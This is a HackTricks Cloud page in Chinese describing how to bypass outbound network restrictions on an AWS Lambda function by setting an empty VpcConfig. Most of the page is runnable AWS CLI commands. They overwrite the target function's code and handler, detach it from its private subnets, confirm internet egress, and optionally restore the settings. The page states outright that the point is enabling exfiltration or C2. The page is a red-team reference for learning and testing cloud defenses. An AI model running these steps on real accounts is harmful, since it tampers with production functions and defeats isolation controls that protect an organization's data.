AWS Lambda – 通过分离 VpcConfig 绕过 VPC 出站限制
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
通过更新函数配置为一个空的 VpcConfig(SubnetIds=[], SecurityGroupIds=[])将 Lambda 函数从受限 VPC 强制移出。函数随后将在 Lambda 管理的网络平面中运行,恢复出站互联网访问,从而绕过在没有 NAT 的私有 VPC 子网上实施的出站控制。
滥用方法
- 前提:对目标函数具有 lambda:UpdateFunctionConfiguration(以及用于验证的 lambda:InvokeFunction)权限,若需要更改代码/handler 还需相应权限。
- 假设:函数当前配置的 VpcConfig 指向没有 NAT 的私有子网(因此出站互联网被阻止)。
- 区域:us-east-1
步骤
- 准备一个最小的 handler 来证明出站 HTTP 可用
cat > net.py <<‘PY’ import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true
- 记录当前 VPC 配置(如需可稍后恢复)
aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- 通过设置为空列表来分离 VPC
aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION
until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done
- 调用并验证出站访问
aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json
(Optional) 恢复原始 VPC 配置
if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi
影响
- 函数将重新获得不受限制的出站互联网访问,允许从本应隔离在无 NAT 的私有子网中的工作负载进行数据外泄或 C2 通信。
示例输出(在分离 VpcConfig 之后)
{“egress”: true, “ip”: “34.x.x.x”}
清理
- 如创建了临时的代码/handler 修改,请将其还原。
- 可按上文所示从 /tmp/orig-vpc.json 恢复原始 VpcConfig。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

